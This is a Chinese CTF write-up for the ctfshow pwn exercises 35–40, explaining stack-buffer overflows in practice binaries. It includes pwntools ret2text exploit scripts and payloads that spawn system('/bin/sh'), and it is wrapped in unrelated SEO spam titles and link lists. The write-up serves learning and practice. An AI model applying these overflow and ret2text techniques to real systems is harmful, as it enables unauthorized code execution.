当前位置: 首页 > news >正文

网站建设过程论文工商年报网上怎么申报

网站建设过程论文,工商年报网上怎么申报,澄海区建设局网站,游戏在线玩文章目录 pwn 35pwn 36pwn 37pwn 38pwn 39pwn 40 好几天没发博客了#xff0c;忙着吃席去了 QAQ pwn 35 Partial RELRD,NX 开启 char dest;声明一个名为dest的字符变量。return strcpy(dest, src);使用strcpy函数将src字符串复制到dest字符数组中#xff0c;并返回指向… 文章目录 pwn 35pwn 36pwn 37pwn 38pwn 39pwn 40 好几天没发博客了忙着吃席去了 QAQ pwn 35 Partial RELRD,NX 开启 char dest;声明一个名为dest的字符变量。return strcpy(dest, src);使用strcpy函数将src字符串复制到dest字符数组中并返回指向dest的指针。strcpy函数strcpy函数没有长度限制这个函数是一个典型的可以用来利用溢出的函数。所以我们可以在这里进行栈溢出。 注意到signal(11, (__sighandler_t)sigsegv_handler);Signal 11错误也称为“Segmentation fault”是一种用于提示Unix系统程序出现错误的信号。当应用程序试图对无权访问的内存地址进行读写操作时,会调用 sigsegv_handler 函数,sigsegv_handler 函数 会把stderr打印输出,即将flag的值打印输出那么我们直接输入超长数据就会溢出程序就会崩溃进而打印出flag 【Linux函数】Signal ()函数详细介绍_linux signal-CSDN博客 所以我们参数长点让 strcpy 溢出触发 NX 保护然后触发 signal 11再触发 sigsegv_handle 打印 flag cyclic 105 ./pwnme aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbpwn 36 存在后门函数如何利用 详细分析checksec32位保护仅部分开启RELRO同时注意到有可读可写可执行的段 ctfshow 函数中存在 gets 函数 gets(s)该函数无法限制输入的长度可能会超出s数组的容量导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,且提供后门函数 get_flag() 所以属于 ret2text from pwn import * from LibcSearcher import *def s(a):io.send(a) def sa(a, b):io.sendafter(a, b) def sl(a):io.sendline(a) def sla(a, b):io.sendlineafter(a, b) def r():io.recv() def pr():print(io.recv()) def rl(a):return io.recvuntil(a) def inter():io.interactive() def debug():gdb.attach(io)pause() def get_64addr():return u64(io.recvuntil(b\x7f)[-6:].ljust(8, b\x00)) def get_32addr():return u32(io.recv()[0:4]) def get_64sb():return libc_base libc.sym[system], libc_base next(libc.search(b/bin/sh\x00)) def get_32sb():return libc_base libc.sym[system], libc_base next(libc.search(b/bin/sh\x00)) def get_64sb_libcsearch():return libc_base libc.dump(system), libc_base libc.dump(str_bin_sh) def get_32sb_libcsearch():return libc_base libc.dump(system), libc_base libc.dump(str_bin_sh)context(oslinux, archi386, log_leveldebug) # context(oslinux, archamd64, log_leveldebug) io process(./pwn) elf ELF(pwn) io remote(pwn.challenge.ctf.show,28241)padding 44 back_door elf.sym[get_flag]payload flat([padding*ba,back_door])sla(want: \n,payload)inter() pwn 37 给了后门函数ret2text 检查一下保护开启了 nx 保护。堆栈不可执行不过有后门函数跟进 ctfshow 函数read 可以读取 50 个字节 return read(0, buf, 0x32u);而且buf 到 返回地址偏移量是 0x12 4 个字节完全够用。 from pwn import * from LibcSearcher import *def s(a):io.send(a) def sa(a, b):io.sendafter(a, b) def sl(a):io.sendline(a) def sla(a, b):io.sendlineafter(a, b) def r():io.recv() def pr():print(io.recv()) def rl(a):return io.recvuntil(a) def inter():io.interactive() def debug():gdb.attach(io)pause() def get_64addr():return u64(io.recvuntil(b\x7f)[-6:].ljust(8, b\x00)) def get_32addr():return u32(io.recv()[0:4]) def get_64sb():return libc_base libc.sym[system], libc_base next(libc.search(b/bin/sh\x00)) def get_32sb():return libc_base libc.sym[system], libc_base next(libc.search(b/bin/sh\x00)) def get_64sb_libcsearch():return libc_base libc.dump(system), libc_base libc.dump(str_bin_sh) def get_32sb_libcsearch():return libc_base libc.dump(system), libc_base libc.dump(str_bin_sh)context(oslinux, archi386, log_leveldebug) # context(oslinux, archamd64, log_leveldebug) io process(./pwn) elf ELF(pwn) io remote(pwn.challenge.ctf.show,28128)padding 0x12 4 back_door elf.sym[backdoor]payload flat([padding*ba,back_door])sla(32bit\n,payload)inter() pwn 38 和上一题差不多只是 64 位程序调用 system 要考虑堆栈平衡 padding 0x0A 8 back_door elf.sym[backdoor] payload flat([padding*ba,back_door1])pwn 39 system 和 ‘/bin/sh’ 分开要我们自己传参了。 我们构造的payload在先进行溢出后填上system函数的地址这里我们需要注意函数调用栈的结构如果是正常调用 system 函数我们调用的时候会有一个对应的返回地址随你便我这里习惯用 deadbeef。最跟上 system 的参数 字符串 /bin/sh 的指针。 payload flat([padding*ba,system,0xdeadbeef,binsh])pwn 40 ret2text 的 64 位传参有两点要注意点 rdi 寄存器传参堆栈平衡 payload flat([padding*ba,ret,pop_rdi,binsh,system])
http://www.zqtcl.cn/news/289947/

相关文章:

  • 建设一个网站需要哪些软硬件条件无做弊的棋牌游戏网站
  • 最有设计感的网站扬中网站建设 优帮云
  • 企业建设银行网站登录不了wordpress需要ftp
  • 广州营销型网站建设团队专业建设内涵包括哪些内容
  • 网站如何做响应式布局外国网站上做Task
  • 知乎网站建设入门书大渡口集团网站建设
  • 免费网站建设是什么宁波网站建设的价格表
  • 网站设计导航栏高度网站设计的经营范围
  • 帮别人建设网站多少利润北京网站建设公司华网制作作
  • 微信网站需要备案吗瑞安商业网站建设
  • 做网站如何计算工资wordpress stheme
  • 网站建设销售人才简历wordpress 搜索tag
  • 设计网站专业云南旅行社网站开发
  • 小规模开普票网站建设几个点张浦专业做网站
  • 点击图片跳转到网站怎么做链接网址后缀名大全
  • php网站开发优化crm客户系统
  • 韩国网站免费模板wordpress数据库名称
  • 如何修改网站发布时间贵阳网站建设报价
  • 东莞网站推广培训免费云电脑
  • 湖北网站建设详细方案脑叶公司手机版下载
  • 淄博网站制作平台形象怎样建设旅游网站
  • 广州花都网站建设网站改版协议
  • 中国建设协会网站首页工信部网站备案被删除
  • 丹阳网站建设案例dedecms 购物网站
  • 网站上怎么做动画广告视频下载seo黑帽是什么意思
  • 服装网站建设网综合社区网站开发费用
  • 做网站预付款 怎么做账做律师网站的网络公司
  • 购物网站开发模板小程序注册拉新
  • 怎么建立一个网站能够与讯飞云对话罗湖附近公司做网站建设哪家好
  • 唐山网站制作公司北京网站开发优选ls20227